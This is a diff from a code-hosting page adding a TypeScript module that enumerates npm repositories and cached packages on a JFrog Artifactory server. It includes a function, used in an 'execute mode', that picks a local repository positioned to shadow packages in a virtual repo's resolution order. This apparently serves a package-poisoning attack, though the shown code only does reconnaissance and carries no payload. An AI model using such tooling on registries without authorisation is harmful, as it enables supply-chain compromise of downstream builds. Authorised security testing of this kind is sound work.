pkg.name ?? "unknown",
|
||||
pkg.version ?? "0.0.0",
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
// Artifactory npm registry enumeration.
|
||||
// Queries repository storage listings to discover cached packages.
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { authHeader, type JfrogSession } from "./auth";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Types
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export type RepoType = "local" | "remote" | "virtual" | "federated";
|
||||
|
||||
export interface NpmRepoInfo {
|
||||
key: string;
|
||||
type: RepoType;
|
||||
url?: string;
|
||||
repositories?: string[];
|
||||
}
|
||||
|
||||
export interface CachedPackage {
|
||||
name: string;
|
||||
repo: string;
|
||||
uri: string;
|
||||
}
|
||||
|
||||
export interface PackageVersionInfo {
|
||||
name: string;
|
||||
version: string;
|
||||
tarballUrl: string;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Repo enumeration
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function enumerateNpmRepos(
|
||||
session: JfrogSession,
|
||||
): Promise<NpmRepoInfo[]> {
|
||||
const headers = authHeader(session.credential);
|
||||
const results: NpmRepoInfo[] = [];
|
||||
|
||||
for (const repoKey of session.npmRepos) {
|
||||
try {
|
||||
console.error(` fetching repo info: ${repoKey}...`);
|
||||
const res = await fetch(
|
||||
`${session.baseUrl}/api/repositories/${repoKey}`,
|
||||
{ headers },
|
||||
);
|
||||
if (!res.ok) {
|
||||
console.error(` → ${res.status}, skipping`);
|
||||
continue;
|
||||
}
|
||||
|
||||
const raw = (await res.json()) as any;
|
||||
console.error(` → type=${raw.rclass ?? raw.packageType ?? "?"}`);
|
||||
results.push({
|
||||
key: raw.key,
|
||||
type: raw.rclass ?? raw.packageType ?? "local",
|
||||
url: raw.url ?? undefined,
|
||||
repositories: raw.repositories ?? undefined,
|
||||
});
|
||||
} catch (e) {
|
||||
logUtil.log(`[jfrognpm] Failed to fetch repo info for ${repoKey}: ${e}`);
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Package enumeration
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function listCachedPackages(
|
||||
session: JfrogSession,
|
||||
repoKey: string,
|
||||
): Promise<CachedPackage[]> {
|
||||
const headers = authHeader(session.credential);
|
||||
const packages: CachedPackage[] = [];
|
||||
|
||||
const url = `${session.baseUrl}/api/storage/${repoKey}`;
|
||||
try {
|
||||
const res = await fetch(url, { headers });
|
||||
if (!res.ok) {
|
||||
logUtil.log(
|
||||
`[jfrognpm] Storage listing failed for ${repoKey}: HTTP ${res.status}`,
|
||||
);
|
||||
return packages;
|
||||
}
|
||||
|
||||
const data = (await res.json()) as {
|
||||
children?: Array<{ uri: string; folder: boolean }>;
|
||||
};
|
||||
|
||||
for (const child of data.children ?? []) {
|
||||
if (!child.folder) continue;
|
||||
const rawName = child.uri.replace(/^\//, "");
|
||||
if (!rawName || rawName === "." || rawName.startsWith(".")) continue;
|
||||
packages.push({
|
||||
name: decodeURIComponent(rawName),
|
||||
repo: repoKey,
|
||||
uri: child.uri,
|
||||
});
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.log(`[jfrognpm] Error listing ${repoKey}: ${e}`);
|
||||
}
|
||||
|
||||
return packages;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Package metadata
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export async function fetchPackageVersion(
|
||||
session: JfrogSession,
|
||||
repoKey: string,
|
||||
pkgName: string,
|
||||
): Promise<PackageVersionInfo | null> {
|
||||
const headers = authHeader(session.credential);
|
||||
const encoded = encodeURIComponent(pkgName).replace("%40", "@");
|
||||
const url = `${session.baseUrl}/api/npm/${repoKey}/${encoded}`;
|
||||
|
||||
try {
|
||||
const res = await fetch(url, { headers });
|
||||
if (!res.ok) return null;
|
||||
|
||||
const meta = (await res.json()) as {
|
||||
"dist-tags"?: { latest?: string };
|
||||
versions?: Record<string, { dist?: { tarball?: string } }>;
|
||||
};
|
||||
|
||||
const version = meta["dist-tags"]?.latest;
|
||||
if (!version) return null;
|
||||
|
||||
const versionInfo = meta.versions?.[version];
|
||||
if (!versionInfo?.dist?.tarball) return null;
|
||||
|
||||
return { name: pkgName, version, tarballUrl: versionInfo.dist.tarball };
|
||||
} catch (e) {
|
||||
logUtil.log(`[jfrognpm] Metadata fetch failed for ${pkgName}: ${e}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Virtual repo resolution (execute mode only)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export function findShadowRepo(repos: NpmRepoInfo[]): string | null {
|
||||
const localRepos = repos.filter((r) => r.type === "local");
|
||||
const virtualRepos = repos.filter((r) => r.type === "virtual");
|
||||
|
||||
for (const virt of virtualRepos) {
|
||||
const order = virt.repositories ?? [];
|
||||
for (const includedKey of order) {
|
||||
const match = localRepos.find((l) => l.key === includedKey);
|
||||
if (match) return match.key;
|
||||
}
|
||||
}
|
||||
|
||||
if (localRepos.length > 0) return localRepos[0]!.key;
|
||||
return null;
|
||||
}
|
||||
Reference in New Issue
Block a user